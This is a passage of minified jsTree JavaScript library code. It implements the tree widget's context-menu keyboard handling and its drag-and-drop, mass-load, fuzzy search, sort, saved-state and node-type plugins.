function(){n.vakata.context.hide()}}(this),n.vakata.context.settings.hide_onmouseleave))}).on("click","a",function(t){t.preventDefault();n(this).blur().parent().hasClass("vakata-context-disabled")||n.vakata.context._execute(n(this).attr("rel"))===!1||n.vakata.context.hide()}).on("keydown","a",function(i){var r=null;switch(i.which){case 13:case 32:i.type="click";i.preventDefault();n(i.currentTarget).trigger(i);break;case 37:t.is_visible&&(t.element.find(".vakata-context-hover").last().closest("li").first().find("ul").hide().find(".vakata-context-hover").removeClass("vakata-context-hover").end().end().children("a").focus(),i.stopImmediatePropagation(),i.preventDefault());break;case 38:t.is_visible&&(r=t.element.find("ul:visible").addBack().last().children(".vakata-context-hover").removeClass("vakata-context-hover").prevAll("li:not(.vakata-context-separator)").first(),r.length||(r=t.element.find("ul:visible").addBack().last().children("li:not(.vakata-context-separator)").last()),r.addClass("vakata-context-hover").children("a").focus(),i.stopImmediatePropagation(),i.preventDefault());break;case 39:t.is_visible&&(t.element.find(".vakata-context-hover").last().children("ul").show().children("li:not(.vakata-context-separator)").removeClass("vakata-context-hover").first().addClass("vakata-context-hover").children("a").focus(),i.stopImmediatePropagation(),i.preventDefault());break;case 40:t.is_visible&&(r=t.element.find("ul:visible").addBack().last().children(".vakata-context-hover").removeClass("vakata-context-hover").nextAll("li:not(.vakata-context-separator)").first(),r.length||(r=t.element.find("ul:visible").addBack().last().children("li:not(.vakata-context-separator)").first()),r.addClass("vakata-context-hover").children("a").focus(),i.stopImmediatePropagation(),i.preventDefault());break;case 27:n.vakata.context.hide();i.preventDefault()}}).on("keydown",function(n){n.preventDefault();var i=t.element.find(".vakata-contextmenu-shortcut-"+n.which).parent();i.parent().not(".vakata-context-disabled")&&i.click()});n(i).on("mousedown.vakata.jstree",function(i){t.is_visible&&t.element[0]!==i.target&&!n.contains(t.element[0],i.target)&&n.vakata.context.hide()}).on("context_show.vakata.jstree",function(){t.element.find("li:has(ul)").children("a").addClass("vakata-context-parent");r&&t.element.addClass("vakata-context-rtl").css("direction","rtl");t.element.find("ul").hide().end()})})}(n),n.jstree.defaults.dnd={copy:!0,open_timeout:500,is_draggable:!0,check_while_dragging:!0,always_copy:!1,inside_pos:0,drag_selection:!0,touch:!0,large_drop_target:!1,large_drag_target:!1,use_html5:!1},n.jstree.plugins.dnd=function(t,r){this.init=function(n,t){r.init.call(this,n,t);this.settings.dnd.use_html5=this.settings.dnd.use_html5&&"draggable"in i.createElement("span")};this.bind=function(){r.bind.call(this);this.element.on(this.settings.dnd.use_html5?"dragstart.jstree":"mousedown.jstree touchstart.jstree",this.settings.dnd.large_drag_target?".jstree-node":".jstree-anchor",n.proxy(function(t){if(this.settings.dnd.large_drag_target&&n(t.target).closest(".jstree-node")[0]!==t.currentTarget||"touchstart"===t.type&&(!this.settings.dnd.touch||"selected"===this.settings.dnd.touch&&!n(t.currentTarget).closest(".jstree-node").children(".jstree-anchor").hasClass("jstree-clicked")))return!0;var i=this.get_node(t.target),r=this.is_selected(i)&&this.settings.dnd.drag_selection?this.get_top_selected().length:1,u=r>1?r+" "+this.get_string("nodes"):this.get_text(t.currentTarget);if(this.settings.core.force_text&&(u=n.vakata.html.escape(u)),i&&i.id&&i.id!==n.jstree.root&&(1===t.which||"touchstart"===t.type||"dragstart"===t.type)&&(this.settings.dnd.is_draggable===!0||n.isFunction(this.settings.dnd.is_draggable)&&this.settings.dnd.is_draggable.call(this,r>1?this.get_top_selected(!0):[i],t))){if(e={jstree:!0,origin:this,obj:this.get_node(i,!0),nodes:r>1?this.get_top_selected():[i.id]},f=t.currentTarget,!this.settings.dnd.use_html5)return this.element.trigger("mousedown.jstree"),n.vakata.dnd.start(t,e,'<div id="jstree-dnd" class="jstree-'+this.get_theme()+" jstree-"+this.get_theme()+"-"+this.get_theme_variant()+" "+(this.settings.core.themes.responsive?" jstree-dnd-responsive":"")+'"><i class="jstree-icon jstree-er"><\/i>'+u+'<ins class="jstree-copy" style="display:none;">+<\/ins><\/div>');n.vakata.dnd._trigger("start",t,{helper:n(),element:f,data:e})}},this));this.settings.dnd.use_html5&&this.element.on("dragover.jstree",function(t){return t.preventDefault(),n.vakata.dnd._trigger("move",t,{helper:n(),element:f,data:e}),!1}).on("drop.jstree",n.proxy(function(t){return t.preventDefault(),n.vakata.dnd._trigger("stop",t,{helper:n(),element:f,data:e}),!1},this))};this.redraw_node=function(n){if(n=r.redraw_node.apply(this,arguments),n&&this.settings.dnd.use_html5)if(this.settings.dnd.large_drag_target)n.setAttribute("draggable",!0);else{for(var i=null,t=0,u=n.childNodes.length;u>t;t++)if(n.childNodes[t]&&n.childNodes[t].className&&-1!==n.childNodes[t].className.indexOf("jstree-anchor")){i=n.childNodes[t];break}i&&i.setAttribute("draggable",!0)}return n}},n(function(){var r=!1,h=!1,u=!1,o=!1,s=n('<div id="jstree-marker">&#160;<\/div>').hide();n(i).on("dragover.vakata.jstree",function(t){f&&n.vakata.dnd._trigger("move",t,{helper:n(),element:f,data:e})}).on("drop.vakata.jstree",function(t){f&&(n.vakata.dnd._trigger("stop",t,{helper:n(),element:f,data:e}),f=null,e=null)}).on("dnd_start.vakata.jstree",function(n,t){r=!1;u=!1;t&&t.data&&t.data.jstree&&s.appendTo(i.body)}).on("dnd_move.vakata.jstree",function(i,f){var ot=f.event.target!==u.target;if(o&&(!f.event||"dragover"!==f.event.type||ot)&&clearTimeout(o),f&&f.data&&f.data.jstree&&(!f.event.target.id||"jstree-marker"!==f.event.target.id)){u=f.event;var e=n.jstree.reference(f.event.target),c=!1,v=!1,d=!1,g,nt,p,y,w,tt,a,l,it,ft,rt,st,b,k,ut,et;if(e&&e._data&&e._data.dnd)if(s.attr("class","jstree-"+e.get_theme()+(e.settings.core.themes.responsive?" jstree-dnd-responsive":"")),ut=f.data.origin&&(f.data.origin.settings.dnd.always_copy||f.data.origin.settings.dnd.copy&&(f.event.metaKey||f.event.ctrlKey)),f.helper.children().attr("class","jstree-"+e.get_theme()+" jstree-"+e.get_theme()+"-"+e.get_theme_variant()+" "+(e.settings.core.themes.responsive?" jstree-dnd-responsive":"")).find(".jstree-copy").first()[ut?"show":"hide"](),f.event.target!==e.element[0]&&f.event.target!==e.get_container_ul()[0]||0!==e.get_container_ul().children().length){if(c=e.settings.dnd.large_drop_target?n(f.event.target).closest(".jstree-node").children(".jstree-anchor"):n(f.event.target).closest(".jstree-anchor"),c&&c.length&&c.parent().is(".jstree-closed, .jstree-open, .jstree-leaf")&&(v=c.offset(),d=(f.event.pageY!==t?f.event.pageY:f.event.originalEvent.pageY)-v.top,p=c.outerHeight(),tt=p/3>d?["b","i","a"]:d>p-p/3?["a","i","b"]:d>p/2?["i","a","b"]:["i","b","a"],n.each(tt,function(t,i){switch(i){case"b":g=v.left-6;nt=v.top;y=e.get_parent(c);w=c.parent().index();break;case"i":b=e.settings.dnd.inside_pos;k=e.get_node(c.parent());g=v.left-2;nt=v.top+p/2+1;y=k.id;w="first"===b?0:"last"===b?k.children.length:Math.min(b,k.children.length);break;case"a":g=v.left-6;nt=v.top+p;y=e.get_parent(c);w=c.parent().index()+1}for(a=!0,l=0,it=f.data.nodes.length;it>l;l++)if(ft=f.data.origin&&(f.data.origin.settings.dnd.always_copy||f.data.origin.settings.dnd.copy&&(f.event.metaKey||f.event.ctrlKey))?"copy_node":"move_node",rt=w,"move_node"===ft&&"a"===i&&f.data.origin&&f.data.origin===e&&y===e.get_parent(f.data.nodes[l])&&(st=e.get_node(y),rt>n.inArray(f.data.nodes[l],st.children)&&(rt-=1)),a=a&&(e&&e.settings&&e.settings.dnd&&e.settings.dnd.check_while_dragging===!1||e.check(ft,f.data.origin&&f.data.origin!==e?f.data.origin.get_node(f.data.nodes[l]):f.data.nodes[l],y,rt,{dnd:!0,ref:e.get_node(c.parent()),pos:i,origin:f.data.origin,is_multi:f.data.origin&&f.data.origin!==e,is_foreign:!f.data.origin})),!a){e&&e.last_error&&(h=e.last_error());break}return"i"===i&&c.parent().is(".jstree-closed")&&e.settings.dnd.open_timeout&&(!f.event||"dragover"!==f.event.type||ot)&&(o&&clearTimeout(o),o=setTimeout(function(n,t){return function(){n.open_node(t)}}(e,c),e.settings.dnd.open_timeout)),a?(et=e.get_node(y,!0),et.hasClass(".jstree-dnd-parent")||(n(".jstree-dnd-parent").removeClass("jstree-dnd-parent"),et.addClass("jstree-dnd-parent")),r={ins:e,par:y,pos:"i"!==i||"last"!==b||0!==w||e.is_loaded(k)?w:"last"},s.css({left:g+"px",top:nt+"px"}).show(),f.helper.find(".jstree-icon").first().removeClass("jstree-er").addClass("jstree-ok"),f.event.originalEvent&&f.event.originalEvent.dataTransfer&&(f.event.originalEvent.dataTransfer.dropEffect=ut?"copy":"move"),h={},tt=!0,!1):void 0}),tt===!0))return}else{for(a=!0,l=0,it=f.data.nodes.length;it>l;l++)if(a=a&&e.check(f.data.origin&&(f.data.origin.settings.dnd.always_copy||f.data.origin.settings.dnd.copy&&(f.event.metaKey||f.event.ctrlKey))?"copy_node":"move_node",f.data.origin&&f.data.origin!==e?f.data.origin.get_node(f.data.nodes[l]):f.data.nodes[l],n.jstree.root,"last",{dnd:!0,ref:e.get_node(n.jstree.root),pos:"i",origin:f.data.origin,is_multi:f.data.origin&&f.data.origin!==e,is_foreign:!f.data.origin}),!a)break;if(a)return r={ins:e,par:n.jstree.root,pos:"last"},s.hide(),f.helper.find(".jstree-icon").first().removeClass("jstree-er").addClass("jstree-ok"),void(f.event.originalEvent&&f.event.originalEvent.dataTransfer&&(f.event.originalEvent.dataTransfer.dropEffect=ut?"copy":"move"))}n(".jstree-dnd-parent").removeClass("jstree-dnd-parent");r=!1;f.helper.find(".jstree-icon").removeClass("jstree-ok").addClass("jstree-er");f.event.originalEvent&&f.event.originalEvent.dataTransfer;s.hide()}}).on("dnd_scroll.vakata.jstree",function(n,t){t&&t.data&&t.data.jstree&&(s.hide(),r=!1,u=!1,t.helper.find(".jstree-icon").first().removeClass("jstree-ok").addClass("jstree-er"))}).on("dnd_stop.vakata.jstree",function(t,i){if(n(".jstree-dnd-parent").removeClass("jstree-dnd-parent"),o&&clearTimeout(o),i&&i.data&&i.data.jstree){s.hide().detach();var f,e,c=[];if(r){for(f=0,e=i.data.nodes.length;e>f;f++)c[f]=i.data.origin?i.data.origin.get_node(i.data.nodes[f]):i.data.nodes[f];r.ins[i.data.origin&&(i.data.origin.settings.dnd.always_copy||i.data.origin.settings.dnd.copy&&(i.event.metaKey||i.event.ctrlKey))?"copy_node":"move_node"](c,r.par,r.pos,!1,!1,!1,i.data.origin)}else f=n(i.event.target).closest(".jstree"),f.length&&h&&h.error&&"check"===h.error&&(f=f.jstree(!0),f&&f.settings.core.error.call(this,h));u=!1;r=!1}}).on("keyup.jstree keydown.jstree",function(t,i){i=n.vakata.dnd._get();i&&i.data&&i.data.jstree&&("keyup"===t.type&&27===t.which?(o&&clearTimeout(o),r=!1,h=!1,u=!1,o=!1,s.hide().detach(),n.vakata.dnd._clean()):(i.helper.find(".jstree-copy").first()[i.data.origin&&(i.data.origin.settings.dnd.always_copy||i.data.origin.settings.dnd.copy&&(t.metaKey||t.ctrlKey))?"show":"hide"](),u&&(u.metaKey=t.metaKey,u.ctrlKey=t.ctrlKey,n.vakata.dnd._trigger("move",u))))})}),function(n){n.vakata.html={div:n("<div />"),escape:function(t){return n.vakata.html.div.text(t).html()},strip:function(t){return n.vakata.html.div.empty().append(n.parseHTML(t)).text()}};var r={element:!1,target:!1,is_down:!1,is_drag:!1,helper:!1,helper_w:0,data:!1,init_x:0,init_y:0,scroll_l:0,scroll_t:0,scroll_e:!1,scroll_i:!1,is_touch:!1};n.vakata.dnd={settings:{scroll_speed:10,scroll_proximity:20,helper_left:5,helper_top:10,threshold:5,threshold_touch:10},_trigger:function(r,u,f){f===t&&(f=n.vakata.dnd._get());f.event=u;n(i).triggerHandler("dnd_"+r+".vakata",f)},_get:function(){return{data:r.data,element:r.element,helper:r.helper}},_clean:function(){r.helper&&r.helper.remove();r.scroll_i&&(clearInterval(r.scroll_i),r.scroll_i=!1);r={element:!1,target:!1,is_down:!1,is_drag:!1,helper:!1,helper_w:0,data:!1,init_x:0,init_y:0,scroll_l:0,scroll_t:0,scroll_e:!1,scroll_i:!1,is_touch:!1};n(i).off("mousemove.vakata.jstree touchmove.vakata.jstree",n.vakata.dnd.drag);n(i).off("mouseup.vakata.jstree touchend.vakata.jstree",n.vakata.dnd.stop)},_scroll:function(t){if(!r.scroll_e||!r.scroll_l&&!r.scroll_t)return r.scroll_i&&(clearInterval(r.scroll_i),r.scroll_i=!1),!1;if(!r.scroll_i)return r.scroll_i=setInterval(n.vakata.dnd._scroll,100),!1;if(t===!0)return!1;var i=r.scroll_e.scrollTop(),u=r.scroll_e.scrollLeft();r.scroll_e.scrollTop(i+r.scroll_t*n.vakata.dnd.settings.scroll_speed);r.scroll_e.scrollLeft(u+r.scroll_l*n.vakata.dnd.settings.scroll_speed);(i!==r.scroll_e.scrollTop()||u!==r.scroll_e.scrollLeft())&&n.vakata.dnd._trigger("scroll",r.scroll_e)},start:function(t,u,f){"touchstart"===t.type&&t.originalEvent&&t.originalEvent.changedTouches&&t.originalEvent.changedTouches[0]&&(t.pageX=t.originalEvent.changedTouches[0].pageX,t.pageY=t.originalEvent.changedTouches[0].pageY,t.target=i.elementFromPoint(t.originalEvent.changedTouches[0].pageX-window.pageXOffset,t.originalEvent.changedTouches[0].pageY-window.pageYOffset));r.is_drag&&n.vakata.dnd.stop({});try{t.currentTarget.unselectable="on";t.currentTarget.onselectstart=function(){return!1};t.currentTarget.style&&(t.currentTarget.style.touchAction="none",t.currentTarget.style.msTouchAction="none",t.currentTarget.style.MozUserSelect="none")}catch(e){}return r.init_x=t.pageX,r.init_y=t.pageY,r.data=u,r.is_down=!0,r.element=t.currentTarget,r.target=t.target,r.is_touch="touchstart"===t.type,f!==!1&&(r.helper=n("<div id='vakata-dnd'><\/div>").html(f).css({display:"block",margin:"0",padding:"0",position:"absolute",top:"-2000px",lineHeight:"16px",zIndex:"10000"})),n(i).on("mousemove.vakata.jstree touchmove.vakata.jstree",n.vakata.dnd.drag),n(i).on("mouseup.vakata.jstree touchend.vakata.jstree",n.vakata.dnd.stop),!1},drag:function(t){if("touchmove"===t.type&&t.originalEvent&&t.originalEvent.changedTouches&&t.originalEvent.changedTouches[0]&&(t.pageX=t.originalEvent.changedTouches[0].pageX,t.pageY=t.originalEvent.changedTouches[0].pageY,t.target=i.elementFromPoint(t.originalEvent.changedTouches[0].pageX-window.pageXOffset,t.originalEvent.changedTouches[0].pageY-window.pageYOffset)),r.is_down){if(!r.is_drag){if(!(Math.abs(t.pageX-r.init_x)>(r.is_touch?n.vakata.dnd.settings.threshold_touch:n.vakata.dnd.settings.threshold)||Math.abs(t.pageY-r.init_y)>(r.is_touch?n.vakata.dnd.settings.threshold_touch:n.vakata.dnd.settings.threshold)))return;r.helper&&(r.helper.appendTo(i.body),r.helper_w=r.helper.outerWidth());r.is_drag=!0;n(r.target).one("click.vakata",!1);n.vakata.dnd._trigger("start",t)}var u=!1,l=!1,f=!1,o=!1,e=!1,s=!1,a=!1,v=!1,h=!1,c=!1;return r.scroll_t=0,r.scroll_l=0,r.scroll_e=!1,n(n(t.target).parentsUntil("body").addBack().get().reverse()).filter(function(){return/^auto|scroll$/.test(n(this).css("overflow"))&&(this.scrollHeight>this.offsetHeight||this.scrollWidth>this.offsetWidth)}).each(function(){var u=n(this),i=u.offset();return this.scrollHeight>this.offsetHeight&&(i.top+u.height()-t.pageY<n.vakata.dnd.settings.scroll_proximity&&(r.scroll_t=1),t.pageY-i.top<n.vakata.dnd.settings.scroll_proximity&&(r.scroll_t=-1)),this.scrollWidth>this.offsetWidth&&(i.left+u.width()-t.pageX<n.vakata.dnd.settings.scroll_proximity&&(r.scroll_l=1),t.pageX-i.left<n.vakata.dnd.settings.scroll_proximity&&(r.scroll_l=-1)),r.scroll_t||r.scroll_l?(r.scroll_e=n(this),!1):void 0}),r.scroll_e||(u=n(i),l=n(window),f=u.height(),o=l.height(),e=u.width(),s=l.width(),a=u.scrollTop(),v=u.scrollLeft(),f>o&&t.pageY-a<n.vakata.dnd.settings.scroll_proximity&&(r.scroll_t=-1),f>o&&o-(t.pageY-a)<n.vakata.dnd.settings.scroll_proximity&&(r.scroll_t=1),e>s&&t.pageX-v<n.vakata.dnd.settings.scroll_proximity&&(r.scroll_l=-1),e>s&&s-(t.pageX-v)<n.vakata.dnd.settings.scroll_proximity&&(r.scroll_l=1),(r.scroll_t||r.scroll_l)&&(r.scroll_e=u)),r.scroll_e&&n.vakata.dnd._scroll(!0),r.helper&&(h=parseInt(t.pageY+n.vakata.dnd.settings.helper_top,10),c=parseInt(t.pageX+n.vakata.dnd.settings.helper_left,10),f&&h+25>f&&(h=f-50),e&&c+r.helper_w>e&&(c=e-(r.helper_w+2)),r.helper.css({left:c+"px",top:h+"px"})),n.vakata.dnd._trigger("move",t),!1}},stop:function(t){if("touchend"===t.type&&t.originalEvent&&t.originalEvent.changedTouches&&t.originalEvent.changedTouches[0]&&(t.pageX=t.originalEvent.changedTouches[0].pageX,t.pageY=t.originalEvent.changedTouches[0].pageY,t.target=i.elementFromPoint(t.originalEvent.changedTouches[0].pageX-window.pageXOffset,t.originalEvent.changedTouches[0].pageY-window.pageYOffset)),r.is_drag)t.target!==r.target&&n(r.target).off("click.vakata"),n.vakata.dnd._trigger("stop",t);else if("touchend"===t.type&&t.target===r.target){var u=setTimeout(function(){n(t.target).click()},100);n(t.target).one("click",function(){u&&clearTimeout(u)})}return n.vakata.dnd._clean(),!1}}}(n),n.jstree.defaults.massload=null,n.jstree.plugins.massload=function(t,i){this.init=function(n,t){this._data.massload={};i.init.call(this,n,t)};this._load_nodes=function(t,r,u,f){var e=this.settings.massload,a=JSON.stringify(t),h=[],c=this._model.data,s,l,o;if(!u){for(s=0,l=t.length;l>s;s++)c[t[s]]&&(c[t[s]].state.loaded||c[t[s]].state.failed)&&!f||(h.push(t[s]),o=this.get_node(t[s],!0),o&&o.length&&o.addClass("jstree-loading").attr("aria-busy",!0));if(this._data.massload={},h.length){if(n.isFunction(e))return e.call(this,h,n.proxy(function(n){var e,s;if(n)for(e in n)n.hasOwnProperty(e)&&(this._data.massload[e]=n[e]);for(e=0,s=t.length;s>e;e++)o=this.get_node(t[e],!0),o&&o.length&&o.removeClass("jstree-loading").attr("aria-busy",!1);i._load_nodes.call(this,t,r,u,f)},this));if("object"==typeof e&&e&&e.url)return e=n.extend(!0,{},e),n.isFunction(e.url)&&(e.url=e.url.call(this,h)),n.isFunction(e.data)&&(e.data=e.data.call(this,h)),n.ajax(e).done(n.proxy(function(n){var e,s;if(n)for(e in n)n.hasOwnProperty(e)&&(this._data.massload[e]=n[e]);for(e=0,s=t.length;s>e;e++)o=this.get_node(t[e],!0),o&&o.length&&o.removeClass("jstree-loading").attr("aria-busy",!1);i._load_nodes.call(this,t,r,u,f)},this)).fail(n.proxy(function(){i._load_nodes.call(this,t,r,u,f)},this))}}return i._load_nodes.call(this,t,r,u,f)};this._load_node=function(t,r){var u=this._data.massload[t.id],e=null,f;return u?(e=this["string"==typeof u?"_append_html_data":"_append_json_data"](t,"string"==typeof u?n(n.parseHTML(u)).filter(function(){return 3!==this.nodeType}):u,function(n){r.call(this,n)}),f=this.get_node(t.id,!0),f&&f.length&&f.removeClass("jstree-loading").attr("aria-busy",!1),delete this._data.massload[t.id],e):i._load_node.call(this,t,r)}},n.jstree.defaults.search={ajax:!1,fuzzy:!1,case_sensitive:!1,show_only_matches:!1,show_only_matches_children:!1,close_opened_onclear:!0,search_leaves_only:!1,search_callback:!1},n.jstree.plugins.search=function(i,r){this.bind=function(){r.bind.call(this);this._data.search.str="";this._data.search.dom=n();this._data.search.res=[];this._data.search.opn=[];this._data.search.som=!1;this._data.search.smc=!1;this._data.search.hdn=[];this.element.on("search.jstree",n.proxy(function(t,i){if(this._data.search.som&&i.res.length){for(var u=this._model.data,f=[],e,s,r=0,o=i.res.length;o>r;r++)if(u[i.res[r]]&&!u[i.res[r]].state.hidden&&(f.push(i.res[r]),f=f.concat(u[i.res[r]].parents),this._data.search.smc))for(e=0,s=u[i.res[r]].children_d.length;s>e;e++)u[u[i.res[r]].children_d[e]]&&!u[u[i.res[r]].children_d[e]].state.hidden&&f.push(u[i.res[r]].children_d[e]);f=n.vakata.array_remove_item(n.vakata.array_unique(f),n.jstree.root);this._data.search.hdn=this.hide_all(!0);this.show_node(f,!0);this.redraw(!0)}},this)).on("clear_search.jstree",n.proxy(function(n,t){this._data.search.som&&t.res.length&&(this.show_node(this._data.search.hdn,!0),this.redraw(!0))},this))};this.search=function(i,r,u,f,e,o){if(i===!1||""===n.trim(i.toString()))return this.clear_search();f=this.get_node(f);f=f&&f.id?f.id:null;i=i.toString();var h=this.settings.search,s=h.ajax?h.ajax:!1,v=this._model.data,y=null,a=[],c=[],l,p;if(this._data.search.res.length&&!e&&this.clear_search(),u===t&&(u=h.show_only_matches),o===t&&(o=h.show_only_matches_children),!r&&s!==!1)return n.isFunction(s)?s.call(this,i,n.proxy(function(t){t&&t.d&&(t=t.d);this._load_nodes(n.isArray(t)?n.vakata.array_unique(t):[],function(){this.search(i,!0,u,f,e,o)})},this),f):(s=n.extend({},s),s.data||(s.data={}),s.data.str=i,f&&(s.data.inside=f),this._data.search.lastRequest&&this._data.search.lastRequest.abort(),this._data.search.lastRequest=n.ajax(s).fail(n.proxy(function(){this._data.core.last_error={error:"ajax",plugin:"search",id:"search_01",reason:"Could not load search parents",data:JSON.stringify(s)};this.settings.core.error.call(this,this._data.core.last_error)},this)).done(n.proxy(function(t){t&&t.d&&(t=t.d);this._load_nodes(n.isArray(t)?n.vakata.array_unique(t):[],function(){this.search(i,!0,u,f,e,o)})},this)),this._data.search.lastRequest);if(e||(this._data.search.str=i,this._data.search.dom=n(),this._data.search.res=[],this._data.search.opn=[],this._data.search.som=u,this._data.search.smc=o),y=new n.vakata.search(i,!0,{caseSensitive:h.case_sensitive,fuzzy:h.fuzzy}),n.each(v[f?f:n.jstree.root].children_d,function(n,t){var r=v[t];r.text&&!r.state.hidden&&(!h.search_leaves_only||r.state.loaded&&0===r.children.length)&&(h.search_callback&&h.search_callback.call(this,i,r)||!h.search_callback&&y.search(r.text).isMatch)&&(a.push(t),c=c.concat(r.parents))}),a.length){for(c=n.vakata.array_unique(c),l=0,p=c.length;p>l;l++)c[l]!==n.jstree.root&&v[c[l]]&&this.open_node(c[l],null,0)===!0&&this._data.search.opn.push(c[l]);e?(this._data.search.dom=this._data.search.dom.add(n(this.element[0].querySelectorAll("#"+n.map(a,function(t){return-1!=="0123456789".indexOf(t[0])?"\\3"+t[0]+" "+t.substr(1).replace(n.jstree.idregex,"\\$&"):t.replace(n.jstree.idregex,"\\$&")}).join(", #")))),this._data.search.res=n.vakata.array_unique(this._data.search.res.concat(a))):(this._data.search.dom=n(this.element[0].querySelectorAll("#"+n.map(a,function(t){return-1!=="0123456789".indexOf(t[0])?"\\3"+t[0]+" "+t.substr(1).replace(n.jstree.idregex,"\\$&"):t.replace(n.jstree.idregex,"\\$&")}).join(", #"))),this._data.search.res=a);this._data.search.dom.children(".jstree-anchor").addClass("jstree-search")}this.trigger("search",{nodes:this._data.search.dom,str:i,res:this._data.search.res,show_only_matches:u})};this.clear_search=function(){this.settings.search.close_opened_onclear&&this.close_node(this._data.search.opn,0);this.trigger("clear_search",{nodes:this._data.search.dom,str:this._data.search.str,res:this._data.search.res});this._data.search.res.length&&(this._data.search.dom=n(this.element[0].querySelectorAll("#"+n.map(this._data.search.res,function(t){return-1!=="0123456789".indexOf(t[0])?"\\3"+t[0]+" "+t.substr(1).replace(n.jstree.idregex,"\\$&"):t.replace(n.jstree.idregex,"\\$&")}).join(", #"))),this._data.search.dom.children(".jstree-anchor").removeClass("jstree-search"));this._data.search.str="";this._data.search.res=[];this._data.search.opn=[];this._data.search.dom=n()};this.redraw_node=function(t){if(t=r.redraw_node.apply(this,arguments),t&&-1!==n.inArray(t.id,this._data.search.res)){for(var u=null,i=0,f=t.childNodes.length;f>i;i++)if(t.childNodes[i]&&t.childNodes[i].className&&-1!==t.childNodes[i].className.indexOf("jstree-anchor")){u=t.childNodes[i];break}u&&(u.className+=" jstree-search")}return t}},function(n){n.vakata.search=function(t,i,r){r=r||{};r=n.extend({},n.vakata.search.defaults,r);r.fuzzy!==!1&&(r.fuzzy=!0);t=r.caseSensitive?t:t.toLowerCase();var f=r.location,s=r.distance,l=r.threshold,u=t.length,h,c,e,o;return u>32&&(r.fuzzy=!1),r.fuzzy&&(h=1<<u-1,c=function(){for(var i={},n=0,n=0;u>n;n++)i[t.charAt(n)]=0;for(n=0;u>n;n++)i[t.charAt(n)]|=1<<u-n-1;return i}(),e=function(n,t){var i=n/u,r=Math.abs(f-t);return s?i+r/s:r?1:i}),o=function(n){if(n=r.caseSensitive?n:n.toLowerCase(),t===n||-1!==n.indexOf(t))return{isMatch:!0,score:0};if(!r.fuzzy)return{isMatch:!1,score:1};var a,i,tt=n.length,v=l,o=n.indexOf(t,f),p,s,w=u+tt,b,g,k,y,nt,d=1,it=[];for(-1!==o&&(v=Math.min(e(0,o),v),o=n.lastIndexOf(t,f+u),-1!==o&&(v=Math.min(e(0,o),v))),o=-1,a=0;u>a;a++){for(p=0,s=w;s>p;)e(a,f+s)<=v?p=s:w=s,s=Math.floor((w-p)/2+p);for(w=s,g=Math.max(1,f-s+1),k=Math.min(f+s,tt)+u,y=new Array(k+2),y[k+1]=(1<<a)-1,i=k;i>=g;i--)if(nt=c[n.charAt(i-1)],y[i]=0===a?(y[i+1]<<1|1)&nt:(y[i+1]<<1|1)&nt|(b[i+1]|b[i])<<1|1|b[i+1],y[i]&h&&(d=e(a,i-1),v>=d)){if(v=d,o=i-1,it.push(o),!(o>f))break;g=Math.max(1,2*f-o)}if(e(a+1,f)>v)break;b=y}return{isMatch:o>=0,score:d}},i===!0?{search:o}:o(i)};n.vakata.search.defaults={location:0,distance:100,threshold:.6,fuzzy:!1,caseSensitive:!1}}(n),n.jstree.defaults.sort=function(n,t){return this.get_text(n)>this.get_text(t)?1:-1},n.jstree.plugins.sort=function(t,i){this.bind=function(){i.bind.call(this);this.element.on("model.jstree",n.proxy(function(n,t){this.sort(t.parent,!0)},this)).on("rename_node.jstree create_node.jstree",n.proxy(function(n,t){this.sort(t.parent||t.node.parent,!1);this.redraw_node(t.parent||t.node.parent,!0)},this)).on("move_node.jstree copy_node.jstree",n.proxy(function(n,t){this.sort(t.parent,!1);this.redraw_node(t.parent,!0)},this))};this.sort=function(t,i){var r,u;if(t=this.get_node(t),t&&t.children&&t.children.length&&(t.children.sort(n.proxy(this.settings.sort,this)),i))for(r=0,u=t.children_d.length;u>r;r++)this.sort(t.children_d[r],!1)}},c=!1,n.jstree.defaults.state={key:"jstree",events:"changed.jstree open_node.jstree close_node.jstree check_node.jstree uncheck_node.jstree",ttl:!1,filter:!1,preserve_loaded:!1},n.jstree.plugins.state=function(t,i){this.bind=function(){i.bind.call(this);var t=n.proxy(function(){this.element.on(this.settings.state.events,n.proxy(function(){c&&clearTimeout(c);c=setTimeout(n.proxy(function(){this.save_state()},this),100)},this));this.trigger("state_ready")},this);this.element.on("ready.jstree",n.proxy(function(){this.element.one("restore_state.jstree",t);this.restore_state()||t()},this))};this.save_state=function(){var t=this.get_state(),i;this.settings.state.preserve_loaded||delete t.core.loaded;i={state:t,ttl:this.settings.state.ttl,sec:+new Date};n.vakata.storage.set(this.settings.state.key,JSON.stringify(i))};this.restore_state=function(){var t=n.vakata.storage.get(this.settings.state.key);if(t)try{t=JSON.parse(t)}catch(i){return!1}return t&&t.ttl&&t.sec&&+new Date-t.sec>t.ttl?!1:(t&&t.state&&(t=t.state),t&&n.isFunction(this.settings.state.filter)&&(t=this.settings.state.filter.call(this,t)),t?(this.settings.state.preserve_loaded||delete t.core.loaded,this.element.one("set_state.jstree",function(i,r){r.instance.trigger("restore_state",{state:n.extend(!0,{},t)})}),this.set_state(t),!0):!1)};this.clear_state=function(){return n.vakata.storage.del(this.settings.state.key)}},function(n){n.vakata.storage={set:function(n,t){return window.localStorage.setItem(n,t)},get:function(n){return window.localStorage.getItem(n)},del:function(n){return window.localStorage.removeItem(n)}}}(n),n.jstree.defaults.types={"default":{}},n.jstree.defaults.types[n.jstree.root]={},n.jstree.plugins.types=function(i,r){this.init=function(i,u){var f,e;if(u&&u.types&&u.types["default"])for(f in u.types)if("default"!==f&&f!==n.jstree.root&&u.types.hasOwnProperty(f))for(e in u.types["default"])u.types["default"].hasOwnProperty(e)&&u.types[f][e]===t&&(u.types[f][e]=u.types["default"][e]);r.init.call(this,i,u);this._model.data[n.jstree.root].type=n.jstree.root};this.refresh=function(t,i){r.refresh.call(this,t,i);this._model.data[n.jstree.root].type=n.jstree.root};this.bind=function(){this.element.on("model.jstree",n.proxy(function(i,r){for(var f=this._model.data,e=r.nodes,s=this.settings.types,o="default",h,u=0,c=e.length;c>u;u++){if(o="default",f[e[u]].original&&f[e[u]].original.type&&s[f[e[u]].original.type]&&(o=f[e[u]].original.type),f[e[u]].data&&f[e[u]].data.jstree&&f[e[u]].data.jstree.type&&s[f[e[u]].data.jstree.type]&&(o=f[e[u]].data.jstree.type),f[e[u]].type=o,f[e[u]].icon===!0&&s[o].icon!==t&&(f[e[u]].icon=s[o].icon),s[o].li_attr!==t&&"object"==typeof s[o].li_attr)for(h in s[o].li_attr)if(s[o].li_attr.hasOwnProperty(h)){if("id"===h)continue;f[e[u]].li_attr[h]===t?f[e[u]].li_attr[h]=s[o].li_attr[h]:"class"===h&&(f[e[u]].li_attr["class"]=s[o].li_attr["class"]+" 